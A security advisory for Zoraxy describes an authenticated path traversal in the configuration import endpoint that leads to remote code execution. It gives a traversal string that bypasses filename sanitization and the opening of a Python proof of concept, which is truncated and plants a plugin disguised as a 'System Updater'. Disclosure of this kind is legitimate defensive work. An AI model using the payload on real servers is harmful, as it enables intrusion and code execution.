EUVD-2026-277865

fkie_cve-2026-33529

Zoraxy is a general purpose HTTP reverse proxy and forwarding tool. Prior to version 3.3.2, an authenticated path traversal vulnerability in the configuration import endpoint allows an authenticated user to write arbitrary files outside the config directory, which can lead to RCE by creating a plugin. Version 3.3.2 patches the issue.

GHSA-7pq3-326h-f8q9 — Zoraxy: Authenticated Path Traversal in Config Import leads to RCE

Affected: Go: github.com/tobychui/zoraxy

# Authenticated Path Traversal to RCE via Configuration Import

## Summary

An authenticated path traversal vulnerability in the configuration import endpoint allows an authenticated user to write arbitrary files outside the config directory, which can lead to RCE by creating a plugin.

## Details

The vulnerable endpoint is `POST /api/conf/import`.

The zip entry names sanitization is bypassed by embedding `../` inside a longer sequence so the replacement produces a new `../`:

``` conf/..././..././entrypoint.py → ReplaceAll("../", "") (match found at index 1 of "..././", leaving "../") → conf/../../entrypoint.py ← passes HasPrefix check, escapes conf/ ```

Using this endpoint, a new plugin can be written (persistent) and the entrypoint (non-persistent) can be edited to add execution permissions to the plugin. When the database is provided in the import, the program should exit to trigger a container restart (which does not happen because the entrypoint does not monitor the Zoraxy exit code). As a result, the container was manually restarted for the PoC to work.

## PoC

```python import argparse import io import json import re import sys import zipfile

import requests import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

INTRO_SPEC_JSON = json.dumps({ "id": "com.attacker.evil", "name": "System Updater", "author": "System", "author_contact": "", "description": "Internal system update module", "url": "", "ui_…

Most recent entries from all

EUVD-2026-277865

fkie_cve-2026-33529

GHSA-7pq3-326h-f8q9 — Zoraxy: Authenticated Path Traversal in Config Import leads to RCE